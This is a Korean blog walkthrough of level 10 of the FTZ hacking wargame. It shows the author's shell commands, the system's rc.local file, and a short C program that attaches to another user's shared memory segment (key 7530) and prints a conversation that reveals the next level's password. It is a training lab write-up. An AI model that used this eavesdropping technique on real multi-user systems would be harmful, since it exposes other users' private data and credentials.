ftz.hackschool.org의 이미지를 사용하여 실습했습니다.
- Level10
level10 / interesting to hack!
[level10@ftz level10]$ ls -l
|
합계 16 -rw-r----- 1 root level10 253 1월 14 2010 hint drwxr-x--- 2 root root 4096 3월 29 2003 program drwxr-xr-x 2 root level10 4096 2월 24 2002 public_html drwxrwxr-x 2 root level10 4096 1월 16 2009 tmp |
|
> hint는 늘 있던거고 program 이라고 하는 것도 눈에 띄네요
[level10@ftz level10]$ cat hint
|
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다. 그 대화방은 공유 메모리를 이용하여 만들어졌으며, key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 level11의 권한을 얻어라. - 레벨을 완료하셨다면 소스는 지우고 나가주세요. |
|
> 힌트 파일을 먼저 열어보면 공유메모리를 사용하는 대화방을 확인해라.
> program 디렉토리 안에 뭔가 있는거 같은대 아마 대화하는 프로그램일거 같습니다.
[level10@ftz level10]$ find / -user level11 -perm -4000 2>/dev/null
> 파일이 없습니다.
> program이라는 디렉토리 안에 뭔가 있을꺼고 저 디렉토리를 사용하는 파일을 찾아봅니다.
[level10@ftz level10]$ find / -type f -exec egrep -l /home/level10/program {} \; 2>/dev/null
|
/proc/3481/cmdline /etc/rc.d/rc.local .... |
|
> 시간이 꽤 지났는대도 끝나지 않아 일단 끊고 두 개의 파일을 확인해본다.
[level10@ftz level10]$ ls -l /proc/3481/cmdline
|
ls: /proc/3481/cmdline: 그런 파일이나 디렉토리가 없음 |
|
|
-rwxr-xr-x 1 root root 546 11월 27 19:29 /etc/rc.d/rc.local |
|
> 하나는 없다고 나오니 rc.local을 읽어 봅니다.
[level10@ftz level10]$ cat /etc/rc.d/rc.local
|
#!/bin/sh # # This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. touch /var/lock/subsys/local # setting hostname hostname ftz.hackerschool.org # run web server /etc/init.d/httpd start # open level4 port cp /bin/ls /home/level4/tmp/backdoor chown level4.level4 /home/level4/tmp/backdoor /etc/init.d/xinetd restart rm -rf /home/level4/tmp/backdoor # run level10 /home/level10/program/level10 # get ip #dhclient eth0 |
|
> /etc/rc.d 의 파일들은 시작할때 실행되는 파일들이다. 그 속의 파일에 /home/level10/grogram/level10 프로그램이 실행되도록 되어있다.
> 혹시 프로그램이 실행중인지 확인해본다.
[level10@ftz level10]$ ps -ef | grep level
|
level10 3443 3442 0 20:20 pts/0 00:00:00 -bash level10 6402 3443 0 20:36 pts/0 00:00:00 ps -ef level10 6403 3443 0 20:36 pts/0 00:00:00 grep level |
|
> 실행되는 것은 없는 것 같다. 아마 수행하고 바로 꺼지는 프로그램인 듯 하다.
|
#include <stdio.h> #include <sys/shm.h> #include <sys/types.h> #include <string.h> #define BUFFSIZE 1024 int main() { void *sharedMemory=(void *)0; int sharedMemID; char buf[BUFFSIZE]; key_t keyval=7530; sharedMemID=shmget(keyval, BUFFSIZE, 0666); sharedMemory=shmat(sharedMemID, (void *)0, 0); memcpy(buf, sharedMemory, BUFFSIZE); printf("%s", buf); shmdt(sharedMemory); return 0; } |
|
> 힌트에서 나온 7530의 값을 가진 메모리의 ID 값을 얻어 다른 메모리랑 연결하고 내용을 복사해서 출력하는 소스
[level10@ftz tmp]$ gcc -o shm shm.c
[level10@ftz tmp]$ ./shm
|
멍멍: level11의 패스워드는? 구타: what!@#$? |
|
> 패스워드를 얻어냈다.
'Security > 리버싱' 카테고리의 다른 글
포맷스트링 버그 (Format String Bug) (0) | 2017.12.01 |
---|---|
Level10 분석 (공유 메모리) (0) | 2017.12.01 |
Level9 응용 (스크립트로 반복되는 문자 입력) (0) | 2017.11.30 |
Level9 문제 해결 (0) | 2017.11.30 |
Level8 문제 해결 (0) | 2017.11.30 |